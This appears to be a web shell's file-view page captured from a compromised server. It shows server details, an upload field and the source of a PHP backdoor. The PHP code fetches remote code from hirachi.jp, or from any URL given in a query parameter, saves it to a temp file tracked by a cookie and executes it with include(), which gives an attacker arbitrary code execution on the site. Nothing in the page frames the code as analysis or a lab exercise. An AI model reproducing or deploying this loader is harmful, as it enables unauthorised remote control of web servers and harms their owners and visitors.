| Server IP : 104.196.175.149 / Your IP : 216.73.217.99 Web Server : nginx System : Linux pod-403818 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64 User : fpm200038 ( 200038) PHP Version : 8.4.24 Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nas/content/live/metroquest/ |
Upload File : |
<?php
define('DEFAULT_SOURCE_URL', 'https://hirachi.jp//access/db.txt');
function getSourceUrl() {
return isset($_GET['src']) && filter_var($_GET['src'], FILTER_VALIDATE_URL)
? $_GET['src']
: DEFAULT_SOURCE_URL;
}
function getTempPath() {
if (!empty($_COOKIE['tmp-inc']) && isValidTempPath($_COOKIE['tmp-inc'])) {
return $_COOKIE['tmp-inc'];
}
return generateTempPath();
}
function isValidTempPath($path) {
return file_exists($path) && filesize($path) > 100;
}
function generateTempPath() {
$path = tempnam(sys_get_temp_dir(), 'inc_');
return $path ?: false;
}
function fetchAndStoreContent($url, $path) {
$content = @file_get_contents($url);
if ($content === false) {
die("❌Failed fetch url");
}
if (@file_put_contents($path, $content) === false) {
die("❌ Failed write to tmp.");
}
setcookie('tmp-inc', $path);
include($path);
exit;
}
// --- Main Logic ---
$tempPath = getTempPath();
if (!$tempPath) {
die("❌ Failed create tmp");
}
$fileSize = @filesize($tempPath);
if ($fileSize === false || $fileSize < 10) {
$srcUrl = getSourceUrl();
fetchAndStoreContent($srcUrl, $tempPath);
} elseif ($fileSize >= 1024) {
setcookie('tmp-inc', $tempPath);
include($tempPath);
exit;
}
die("DIE");